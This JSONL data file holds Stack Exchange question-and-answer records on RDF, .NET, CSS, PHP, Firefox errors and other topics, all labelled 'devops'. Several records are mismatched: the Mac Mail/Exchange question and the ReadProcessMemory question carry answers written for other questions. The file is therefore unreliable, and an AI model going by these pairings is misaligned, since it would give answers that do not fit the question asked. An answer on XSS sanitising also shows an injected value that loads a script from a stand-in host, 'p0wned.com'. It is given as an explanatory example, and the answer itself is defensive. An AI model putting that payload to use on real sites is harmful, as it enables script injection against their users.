{"id": "hf_4a319b9419c1", "question": "<p>What references offer a good summary/tutorial for using RDF/OWL?  There seem to be enough tools (Protege, Topbraid, Jena, etc.) that knowing the syntax of the markup languages is not necessary, but knowing the concepts is, of course, still critical.  </p>\n\n<p>I'm working through the w3c documents (particularly the <a href=\"http://www.w3.org/TR/rdf-primer/\" rel=\"noreferrer\">RDF Primer</a>) but I'd like to find other resources/techniques to use as well.</p>\n", "question_body": "", "answer": "For pragmatic use of RDF, Shelley Power's book\nPractical RDF\nis a good start.\nThe\nESW Wiki\nis also a good resource\nThere's also\nDavid Beckett's RDF Resource Guide\nTim Berners-Lee's notes\nare always a good read\nThere's a\nbunch of links\nfrom the semantic-web@w3.org mailing list archives", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.278144"}
{"id": "hf_cdb8129af638", "question": "<p>Our network admins have disabled IMAP and POP for our exchange server, but do have RDP over HTTP enabled.  Does Mac Mail only use IMAP to communicate with exchange servers, or does it also know how to use RDP over HTTP?</p>\n", "question_body": "", "answer": "For pragmatic use of RDF, Shelley Power's book\nPractical RDF\nis a good start.\nThe\nESW Wiki\nis also a good resource\nThere's also\nDavid Beckett's RDF Resource Guide\nTim Berners-Lee's notes\nare always a good read\nThere's a\nbunch of links\nfrom the semantic-web@w3.org mailing list archives", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.301556"}
{"id": "hf_fa1133096cf0", "question": "<p>Can someone provide a simple explanation of <strong>methods</strong> vs. <strong>functions</strong> in OOP context?</p>\n", "question_body": "", "answer": "'method'\nis the object-oriented word for\n'function'\n.  That's pretty much all there is to it (ie., no real difference).\nUnfortunately, I think a lot of the answers here are perpetuating or advancing the idea that there's some complex, meaningful difference.\nReally - there isn't all that much to it, just different words for the same thing.\n[late addition]\nIn fact, as\nBrian Neal\npointed out in a comment to\nthis question\n, the C++ standard never uses the term 'method' when refering to member functions. Some people may take that as an indication that C++ isn't really an object-oriented language; however, I prefer to take it as an indication that a pretty smart group of people didn't think there was a particularly strong reason to use a different term.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.324745"}
{"id": "hf_027cfe7c4714", "question": "<p>I have a trivial console application in .NET. It's just a test part of a larger application. I'd like to specify the \"exit code\" of my console application. How do I do this?</p>\n", "question_body": "", "answer": "```\n```\nint code = 2;\nEnvironment.Exit( code );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.348189"}
{"id": "hf_4ae8d403a673", "question": "<p>What's the best way to add the coordinates of a circle to an array in JavaScript? So far I've only been able to do a half circle, but I need a formula that returns the whole circle to two different arrays: <code>xValues</code> and <code>yValues</code>. (I'm trying to get the coordinates so I can animate an object along a path.)</p>\n\n<p><strong>Here's what I have so far:</strong></p>\n\n<pre><code>circle: function(radius, steps, centerX, centerY){\n    var xValues = [centerX];\n    var yValues = [centerY];\n    for (var i = 1; i &lt; steps; i++) {\n        xValues[i] = (centerX + radius * Math.cos(Math.PI * i / steps-Math.PI/2));\n        yValues[i] = (centerY + radius * Math.sin(Math.PI * i / steps-Math.PI/2));\n   }\n}\n</code></pre>\n", "question_body": "", "answer": "If you already have half a circle, just mirror the points to get the other half\nmake sure you do this in the right order.\nmore speficically, for the other half you simply replace the \"\n```\n+ sin(...)\n```\n\" with a \"\n```\n- sin(...)\n```\n\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.382782"}
{"id": "hf_0387deabc9f2", "question": "<p>I have Flex based consumer <a href=\"http://www.rollingrazor.com\" rel=\"nofollow noreferrer\">website</a> where I would like to change various look and feel type settings based on random and other criteria, and then track these through to what results in the most sales. </p>\n\n<p>For instance I might completely switch out the homepage, show different things depending upon where people come from. I might show or hide certain features, or change certain text. The things i might change are as yet undefined and will likely become quite complicated.</p>\n\n<p>I want to design the most flexible database schema but it must be efficient and easy to search. Currently I have a 'SiteVisit' table which contains information about each distinct visitor.</p>\n\n<p>I want to find the right balance between a single table with columns for each setting, and a table containing just key value pairs.</p>\n\n<p>Any suggestions? </p>\n", "question_body": "", "answer": "Ok, this is very tricky. The reason for me to say that is because you are asking for two things:\nrelaxed repository schema so that you can store various data and change what gets saved dynamically later\nfixed database schema so that you can query data effectively\nThe solution will be a compromise. You have to understand that.\nLet's assume that you have User table:\n```\n```\n+----------------\n| User\n+----------------\n| UserId (PK)\n| ...\n+----------------\n```\n```\n1) XML blob approach\nYou can either save your data as a blog (big XML) into a table (actually a property bag) but querying (filtering) will be a nightmare.\n```\n```\n+----------------\n| CustomProperty\n+----------------\n| PropId (PK)\n| UserId (FK)\n| Data of type memo/binary/...\n+----------------\n```\n```\nAdvantage is that you (business logic) own the schema. This is at the same time disadvantage of this solution. Another HUGE disadvantage is that querying/filtering will be EXTREMELY difficult and SLOW!\n2) Table per property\nAnother solution is to make a special table per property (homepage, etc.). This table would contain value per user (FK based realtionship to the User table).\n```\n```\n+----------------\n| HomePage\n+----------------\n| HomePageId (PK)\n| UserId (FK)\n| Value of type string\n+----------------\n```\n```\nAdvantage of this approach is that you can very quickly see all the values for that property. Disadvantage is that you will have too many tables (one per custom property) and that you will join tables often during query operations.\n3) CustomProperty table\nIn this solution you have one table holding all custom properties.\n```\n```\n+----------------\n| CustomPropertyEnum\n+----------------\n| PropertyId (PK)\n| Name of type string\n+----------------\n\n+----------------\n| CustomProperty\n+----------------\n| PropId (PK)\n| PropertyId (FK)\n| UserId (FK)\n| Value of type string\n+----------------\n```\n```\nIn this solution you store all custom properties in one table. You also have a special enum table that allows you to more efficiently query data. The disadvantage is that you will join tables often during query operations.\nChoose for yourself. I would decide between 2 and 3 depending on your workload (most probably 3 because it is easier).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.406017"}
{"id": "hf_1f3035f64353", "question": "<p>I want to invert a 4x4 matrix. My numbers are stored in fixed-point format (1.15.16 to be exact).</p>\n\n<p>With floating-point arithmetic I usually just build the adjoint matrix and divide by the determinant (e.g. brute force the solution). That worked for me so far, but when dealing with fixed point numbers I get an unacceptable precision loss due to all of the multiplications used. </p>\n\n<p>Note: In fixed point arithmetic I always throw away some of the least significant bits of immediate results.</p>\n\n<p>So - What's the most numerical stable way to invert a matrix? I don't mind much about the performance, but simply going to floating-point would be to slow on my target architecture.</p>\n", "question_body": "", "answer": "I think the answer to this depends on the exact form of the matrix. A standard decomposition method (LU, QR, Cholesky etc.) with pivoting (an essential) is fairly good on fixed point, especially for a small 4x4 matrix. See the book 'Numerical Recipes' by Press et al. for a description of these methods.\nThis paper\ngives some useful algorithms, but is behind a paywall unfortunately. They recommend a (pivoted) Cholesky decomposition with some additional features too complicated to list here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.430023"}
{"id": "hf_cebf56d2c566", "question": "<p>I have saved input from a textarea element to a TEXT column in MySQL.  I'm using PHP to pull that data out of the database and want to display it in a p element while still showing the whitespace that the user entered (e.g. multiple spaces and newlines).  I've tried a pre tag but it doesn't obey the width set in the containing div element.  Other than creating a PHP function to convert spaces to &amp;nbsp and new lines to br tags, what are my options?  I'd prefer a clean HTML/CSS solution, but any input is welcome!  Thanks!</p>\n", "question_body": "", "answer": "You can cause the text inside the\n```\npre\n```\nto wrap by using the following CSS\n```\n```\npre {\n white-space: pre-wrap;       /* css-3 */\n white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */\n white-space: -pre-wrap;      /* Opera 4-6 */\n white-space: -o-pre-wrap;    /* Opera 7 */\n word-wrap: break-word;       /* Internet Explorer 5.5+ */\n}\n```\n```\nTaken from\nthis site\nIt's currently defined in CSS3 (which is not yet a finished standard) but most browsers seem to support it as per the comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.452461"}
{"id": "hf_17afe769926f", "question": "<p>I'm seeing an ambiguous error in Firebug. I don't think it's particularly related to the script I'm writing, however I don't have enough details to be able to determine that from this one error alone. Has anyone seen something similar and have a suggestion?</p>\n\n<p>error:</p>\n\n<blockquote>\n  <p>[Exception... \"Component is not available\" nsresult: \"0x80040111\n  (NS_ERROR_NOT_AVAILABLE)\" location: \"JS frame ::\n  file:///Applications/Firefox.app/Contents/MacOS/components/nsSessionStore.js\n  :: sss_saveState :: line 1896\" data: no] [Break on this error]\n  this._writeFile(this._sessionFile, oState.toSource());</p>\n</blockquote>\n", "question_body": "", "answer": "I have run across the same error myself, and it is an internal FireFox issue, not an issue with your script at all.  It is related to the saving of the FireFox state:\nAccording to:\nhttp://blogs.unbolt.net/index.php/brinley/2008/04/26/0x80040111_nssessionstore\n, it is caused by a corrupted session state.\nIn short, I don't think there is anything you can do to avoid it (it is a bug in FireFox or perhaps a plugin).  However, that link claims you can just clear your session (via closing FireFox) to get rid of the problem when it crops up.\nFYI, you may want to read the comments, as it seems closing FireFox won't necessarily eradicate the problem... but if all you care about is whether your script is at fault, then don't worry :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.488240"}
{"id": "hf_8699064d15d0", "question": "<p>I have been looking at a few options for enabling localization and internationalization of a dynamic php application. There appears to be a variety of tools available such as gettext and Yahoo's R3 and I am interested in hearing from both developers and translators about which tools are good to use and what functionality is important in easing the task of implementation and translation.</p>\n", "question_body": "", "answer": "We've been tinkering with\nZend_Translate\n, since we use the Zend Framework anyway. It's very well documented and so far extremly solid.\nIn the past, I've pretty much used my own\nhome-grown\nsolution mostly. Which involves language files with constants or variables which hold all text parts and are just echo'ed in the view/template later on.\nAs for gettext, in the past I've heard references about PHP's gettext implementation being faulty, but I can't really back that up nor do I have any references right now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.511529"}
{"id": "hf_18e14af8a773", "question": "<p>Here's my problem - I have some code like this:</p>\n\n<pre><code>&lt;mx:Canvas width=\"300\" height=\"300\"&gt;\n     &lt;mx:Button x=\"800\" /&gt;\n&lt;/mx:Canvas&gt;\n</code></pre>\n\n<p>So the problem is that the Button inside the canvas has an x property way in excess of the Canvas's width - since it's a child of the Canvas, the Canvas masks it and creates some scrollbars for me to scroll over to the button.</p>\n\n<p>What I'd like is to display the button - 800 pixels to the left of the Canvas without the scrollbars while still leaving the button as a child of the Canvas.  How do I do that?</p>\n", "question_body": "", "answer": "I figured it out - apparently the Container has a property called clipContent - here's the description from Adobe:\nWhether to apply a clip mask if the positions and/or sizes of this container's children extend outside the borders of this container. If false, the children of this container remain visible when they are moved or sized outside the borders of this container. If true, the children of this container are clipped.\nIf clipContent is false, then scrolling is disabled for this container and scrollbars will not appear. If clipContent is true, then scrollbars will usually appear when the container's children extend outside the border of the container. For additional control over the appearance of scrollbars, see horizontalScrollPolicy and verticalScrollPolicy.\nThe default value is true.\nSo basically - to show the button outside of the bounds of the container I need to do the following:\n```\n```\n<mx:Canvas width=\"300\" height=\"300\" clipContent=\"false\" >\n     <mx:Button x=\"800\" />\n</mx:Canvas>\n```\n```\nThat was easier than I thought it was going to be. :)\nHere's the official doc...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.534356"}
{"id": "hf_a97cff154006", "question": "<p>Internationalizing web apps always seems to be a chore.  No matter how much you plan ahead for pluggable languages, there's always issues with encoding, funky phrasing that doesn't fit your templates, and other problems.</p>\n\n<p>I think it would be useful to get the SO community's input for a set of things that programmers should look out for when deciding to internationalize their web apps.</p>\n", "question_body": "", "answer": "I have a couple apps that are \"bilingual\"\nI used resource files in ASP.NET1.1\nThere is also something called the String Resource Tool\nBasically you put all your strings in a .RES file for both languages and then determine what file to read from based on Culture or whether someone clicked a Link for the language\nThe biggest gotcha is making sure the Translations are done correctly", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.558220"}
{"id": "hf_66c516787247", "question": "<p>Please post a working source code example (or link) of how to search string in another process memory and getting offset of match if found. The similar way its done in game cheating utils which search for values in game memory using ReadProcessMemory.</p>\n", "question_body": "", "answer": "I have a couple apps that are \"bilingual\"\nI used resource files in ASP.NET1.1\nThere is also something called the String Resource Tool\nBasically you put all your strings in a .RES file for both languages and then determine what file to read from based on Culture or whether someone clicked a Link for the language\nThe biggest gotcha is making sure the Translations are done correctly", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.581999"}
{"id": "hf_80f7fc7debbe", "question": "<p>I have a requirement to implement an \"Unsaved Changes\" prompt in an ASP .Net application.  If a user modifies controls on a web form, and attempts to navigate away before saving, a prompt should appear warning them that they have unsaved changes, and give them the option to cancel and stay on the current page.  The prompt should not display if the user hasn't touched any of the controls.</p>\n\n<p>Ideally I'd like to implement this in JavaScript, but before I go down the path of rolling my own code, are there any existing frameworks or recommended design patterns for achieving this?  Ideally I'd like something that can easily be reused across multiple pages with minimal changes.</p>\n", "question_body": "", "answer": "In the .aspx page, you need a Javascript function to tell whether or not the form info is \"dirty\"\n```\n```\n<script language=\"javascript\">\n    var isDirty = false;\n\n    function setDirty() {\n        isDirty = true;\n    }\n\n    function checkSave() {\n        var sSave;\n        if (isDirty == true) {\n            sSave = window.confirm(\"You have some changes that have not been saved. Click OK to save now or CANCEL to continue without saving.\");\n            if (sSave == true) {\n                document.getElementById('__EVENTTARGET').value = 'btnSubmit';\n                document.getElementById('__EVENTARGUMENT').value = 'Click';  \n                window.document.formName.submit();\n            } else {\n                 return true;\n            }\n        }\n    }\n</script>\n<body class=\"StandardBody\" onunload=\"checkSave()\">\n```\n```\nand in the codebehind, add the triggers to the input fields as well as resets on the submission/cancel buttons....\n```\n```\nbtnSubmit.Attributes.Add(\"onclick\", \"isDirty = 0;\");\nbtnCancel.Attributes.Add(\"onclick\", \"isDirty = 0;\");\ntxtName.Attributes.Add(\"onchange\", \"setDirty();\");\ntxtAddress.Attributes.Add(\"onchange\", \"setDirty();\");\n//etc..\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.628079"}
{"id": "hf_ed0ff3d33977", "question": "<p>I am working on an application that will sport a web-based point of sale interface.</p>\n\n<p>The point of sale PC (I am not sure as of now whether it will run on Linux or Windows) must have a fiscal printer attached to it, but like any web app, it is the server which processes all stuff. Both server and PoS machines are on the same LAN.</p>\n\n<p>I must send the sale data in real time, and via the fiscal printer which uses the serial port, so printing a PDF or even a web page is not an option.</p>\n\n<p>I've been told I could have a little app listening on web services on the client, which in turn talks to the printer instead of the server or the browser, but don't have a clue how to do it. Also, I'll most likely need to listen to any printer feedback (coupon number, for instance, which is generated by the printer) and hand it back to the server.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "I did something similar to this a couple of yrs. ago. But in my case the server and the PC where in the same lan. Is your PoS within the lan? If so, I'll explain it to you.\nIn the mean time, if you have the \"little app\" covered you can take a look at the following:\nhttp://java.sun.com/j2se/1.4.2/docs/api/javax/print/PrintService.html\nThe print service have a method to discover the printers registered within machine it is running on. So after you receive the message from the server on your app you just have to do something similar to the code shown in the link above:\nTaked from,\nhttp://java.sun.com/j2se/1.4.2/docs/api/javax/print/PrintService.html\n```\n```\nDocFlavor flavor = DocFlavor.INPUT_STREAM.POSTSCRIPT;\nPrintRequestAttributeSet aset = new HashPrintRequestHashAttributeSet();\naset.add(MediaSizeName.ISO_A4);\nPrintService[] pservices =\n             PrintServiceLookup.lookupPrintServices(flavor, aset);\nif (pservices.length > 0) {\n   DocPrintJob pj = pservices[0].createPrintJob();\n   // InputStreamDoc is an implementation of the Doc interface //\n   Doc doc = new InputStreamDoc(\"test.ps\", flavor);\n   try {\n         pj.print(doc, aset);\n    } catch (PrintException e) { \n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.663355"}
{"id": "hf_e7c26c308127", "question": "<p>In my php web app, suppose I want to go the extra mile and in addition to going gang-busters and being anal-retentive about sanitizing my inputs, I also want to ensure that no JavaScript is being output in strings I am inserting into html templates. </p>\n\n<p>Is there a standard way to make sure I don't put JavaScript in the generated html content?</p>\n", "question_body": "", "answer": "not exactly a standard way; because what if you were doing:\n```\n<img src=\"${path}\">\n```\n, and\n```\n${path}\n```\nexpanded to\n```\nhttp://p0wned.com/jpg.jpg\" /><script src=\"p0wned.com/js.js\"/>\n```\nAnyway I like this regular expression:\n```\n```\n#from http://www.perlmonks.org/?node_id=161281\nsub untag {\n  local $_ = $_[0] || $_;\n# ALGORITHM:\n#   find < ,\n#       comment <!-- ... -->,\n#       or comment <? ... ?> ,\n#       or one of the start tags which require correspond\n#           end tag plus all to end tag\n#       or if \\s or =\"\n#           then skip to next \"\n#           else [^>]\n#   >\n  s{\n    <               # open tag\n    (?:             # open group (A)\n      (!--) |       #   comment (1) or\n      (\\?) |        #   another comment (2) or\n      (?i:          #   open group (B) for /i\n        ( TITLE  |  #     one of start tags\n          SCRIPT |  #     for which\n          APPLET |  #     must be skipped\n          OBJECT |  #     all content\n          STYLE     #     to correspond\n        )           #     end tag (3)\n      ) |           #   close group (B), or\n      ([!/A-Za-z])  #   one of these chars, remember in (4)\n    )               # close group (A)\n    (?(4)           # if previous case is (4)\n      (?:           #   open group (C)\n        (?!         #     and next is not : (D)\n          [\\s=]     #       \\s or \"=\"\n          [\"`']     #       with open quotes\n        )           #     close (D)\n        [^>] |      #     and not close tag or\n        [\\s=]       #     \\s or \"=\" with\n        `[^`]*` |   #     something in quotes ` or\n        [\\s=]       #     \\s or \"=\" with\n        '[^']*' |   #     something in quotes ' or\n        [\\s=]       #     \\s or \"=\" with\n        \"[^\"]*\"     #     something in quotes \"\n      )*            #   repeat (C) 0 or more times\n    |               # else (if previous case is not (4))\n      .*?           #   minimum of any chars\n    )               # end if previous char is (4)\n    (?(1)           # if comment (1)\n      (?<=--)       #   wait for \"--\"\n    )               # end if comment (1)\n    (?(2)           # if another comment (2)\n      (?<=\\?)       #   wait for \"?\"\n    )               # end if another comment (2)\n    (?(3)           # if one of tags-containers (3)\n      </            #   wait for end\n      (?i:\\3)       #   of this tag\n      (?:\\s[^>]*)?  #   skip junk to \">\"\n    )               # end if (3)\n    >               # tag closed\n   }{}gsx;          # STRIP THIS TAG\n  return $_ ? $_ : \"\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.698395"}
{"id": "hf_d1bfaeba7bf0", "question": "<p>What is SafeHandle? how does it differ from IntPtr? When should I use one? What are its advantages?</p>\n", "question_body": "", "answer": "I think\nMSDN\nis pretty clear in definition:\nThe SafeHandle class provides critical\n  finalization of handle resources,\n  preventing handles from being\n  reclaimed prematurely by garbage\n  collection and from being recycled by\n  Windows to reference unintended\n  unmanaged objects. Before the .NET\n  Framework version 2.0, all operating\n  system handles could only be\n  encapsulated in the IntPtr managed\n  wrapper object.\nThe SafeHandle class contains a\n  finalizer that ensures that the handle\n  is closed and is guaranteed to run,\n  even during unexpected AppDomain\n  unloads when a host may not trust the\n  consistency of the state of the\n  AppDomain.\nFor more information about the\n  benefits of using a SafeHandle, see\n  Safe Handles and Critical\n  Finalization.\nThis class is abstract because you\n  cannot create a generic handle. To\n  implement SafeHandle, you must create\n  a derived class. To create SafeHandle\n  derived classes, you must know how to\n  create and free an operating system\n  handle. This process is different for\n  different handle types because some\n  use CloseHandle, while others use more\n  specific methods such as\n  UnmapViewOfFile or FindClose. For this\n  reason, you must create a derived\n  class of SafeHandle for each operating\n  system handle type; such as\n  MySafeRegistryHandle,\n  MySafeFileHandle, and\n  MySpecialSafeFileHandle. Some of these\n  derived classes are prewritten and\n  provided for you in the\n  Microsoft.Win32.SafeHandles namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.722822"}
{"id": "hf_db2b8e842926", "question": "<p>ADO.NET has the notorious DataRow class which you cannot instantiate using new.  This is a problem now that I find a need to mock it using Rhino Mocks.  </p>\n\n<p>Does anyone have any ideas how I could get around this problem?</p>\n", "question_body": "", "answer": "Any time I can't mock something (I prefer MoQ over Rhino, but that's beside the point) I have to code around it.\nThe way I see it you only have two choices.  Pay for a superior framework such as TypeMock that can mock ANY class, or code a wrapper around classes that weren't written to be mocked.\nIts a sad state of affairs in the framework.  TDD wasn't a big concern back in the 1.1 days.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.764776"}
{"id": "hf_a86221c90f77", "question": "<p>I am getting this error but only very occasionally.  99.9% of the time it works fine:</p>\n\n<p>Failed to enable constraints. One or more rows contain values violating non-null, unique, or foreign-key constraints.</p>\n\n<p>Does anyone have any idea on what the cause could be?  I only use that datatable for viewing and not updating so is it possible to easily turn off all constraints somehow?</p>\n", "question_body": "", "answer": "This typically happens when the schema on your dataset is enforcing something that your database is not.\nVisual Studio will automatically read schema and try and set up some primary keys on your dataset, but if you are using a view that can possibly return multiple rows it will fail. It is easy enough to remove these constraints from the DataSet itself by deleting the constraint in the designer.\nCheck to ensure that your dataset is not enforcing a primary key in a situation where you could possibly have two rows with the same key, like in a View that joins two tables together and therefore duplicates the rows in the parent table. VS by default will try and create the primary key of the parent table as a unique constraint on the dataset, but the view itself enforces no such constraint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.800101"}
{"id": "hf_6de77bc382f2", "question": "<p>I need to create an access (mdb) database without using the ADOX interop assembly. </p>\n\n<p>How can this be done?</p>\n", "question_body": "", "answer": "Before I throw away this code, it might as well live on stackoverflow\nSomething along these lines seems to do the trick:\n```\n```\nif (!File.Exists(DB_FILENAME))\n{\n    var cnnStr = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" + DB_FILENAME;\n\n    // Use a late bound COM object to create a new catalog. This is so we avoid an interop assembly. \n    var catType = Type.GetTypeFromProgID(\"ADOX.Catalog\");\n    object o = Activator.CreateInstance(catType);\n    catType.InvokeMember(\"Create\", BindingFlags.InvokeMethod, null, o, new object[] {cnnStr});\n\n    OleDbConnection cnn = new OleDbConnection(cnnStr);\n    cnn.Open();\n    var cmd = cnn.CreateCommand();\n    cmd.CommandText = \"CREATE TABLE VideoPosition (filename TEXT , pos LONG)\";\n    cmd.ExecuteNonQuery();\n\n}\n```\n```\nThis code illustrates that you can access the database using OleDbConnection once its created with the ADOX.Catalog COM component.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.835538"}
{"id": "hf_0e5fa8bc2f2d", "question": "<p>Can't seem to rename an existing Verity collection in ColdFusion without deleting, recreating, and rebuilding the collection.  Problem is, I have some very large collections I'd rather not have to delete and rebuild from scratch.  Any one have a handy trick for this conundrum?</p>\n", "question_body": "", "answer": "I don't believe that there is an easy way to rename a Verity collection.  You can always use\n```\n```\n<cfcollection action=\"map\" ...>\n```\n```\nto assign an alias to an existing collection, provided you do not need to re-use the original name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:07.904763"}
{"id": "hf_03b3c86cad3f", "question": "<p>I have an application that launches a webpage in the \"current\" browser when the user selects it. This part of my app works fine in the Windows version but I can't figure out how to do this in Linux build.</p>\n\n<p>Right now the Linux version is hardcoded for Firefox in a specific directory and runs a new instance of it each time and doesn't show the URL that I pass in. I would like it to NOT launch a new version each time but just open a new page in the current open one if it is already running. </p>\n\n<p>For windows I use:</p>\n\n<pre><code>ShellExecute(NULL,\"open\",filename,NULL,NULL,SW_SHOWNORMAL);\n</code></pre>\n\n<p>For Linux I currently use:</p>\n\n<pre><code>pid_t pid;\nchar *args[2];\n\nchar *prog=0;\nchar firefox[]={\"/usr/bin/firefox\"};\n\nif(strstri(filename,\".html\"))\n    prog=firefox;\n\nif(prog)\n{\n    args[0]=(char *)filename;\n    args[1]=0;\n    pid=fork();\n    if(!pid)\n        execvp(prog,args);\n\n}\n</code></pre>\n", "question_body": "", "answer": "If you're writing this for modern distros, you can use\n```\nxdg-open\n```\n:\n```\n```\n$ xdg-open http://google.com/\n```\n```\nIf you're on an older version you'll have to use a desktop-specific command like\n```\ngnome-open\n```\nor\n```\nexo-open\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.021064"}
{"id": "hf_633946fc7548", "question": "<p>I would like to know how to loop through each line in a text file using a Windows batch file and process each line of text in succession.</p>\n", "question_body": "", "answer": "If you have an NT-family Windows (one with\n```\ncmd.exe\n```\nas the shell), try\nthe FOR /F command\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.045038"}
{"id": "hf_90a310f99f94", "question": "<p>The following code executes a simple insert command.  If it is called 2,000 times consecutively (to insert 2,000 rows) an OleDbException with message = \"System Resources Exceeded\" is thrown.  Is there something else I should be doing to free up resources?</p>\n\n<pre><code>using (OleDbConnection conn = new OleDbConnection(connectionString))\nusing (OleDbCommand cmd = new OleDbCommand(commandText, conn))\n{\n    conn.Open();\n    cmd.ExecuteNonQuery();\n}\n</code></pre>\n", "question_body": "", "answer": "The system resources exceeded error is not coming from the managed code, its coming from you killing your database (JET?)\nYou are opening way too many connections, way too fast...\nSome tips:\nAvoid round trips by not opening a new connection for every single command, and perform the inserts using a single connection.\nEnsure that database connection pooling is working. (Not sure if that works with OLEDB connections.)\nConsider using a more optimized way to insert the data.\nHave you tried this?\n```\n```\nusing (OleDBConnection conn = new OleDBConnection(connstr))\n{\n    while (IHaveData)\n    {\n        using (OldDBCommand cmd = new OldDBCommand())\n        {\n            cmd.Connection = conn;\n            cmd.ExecuteScalar();\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.103080"}
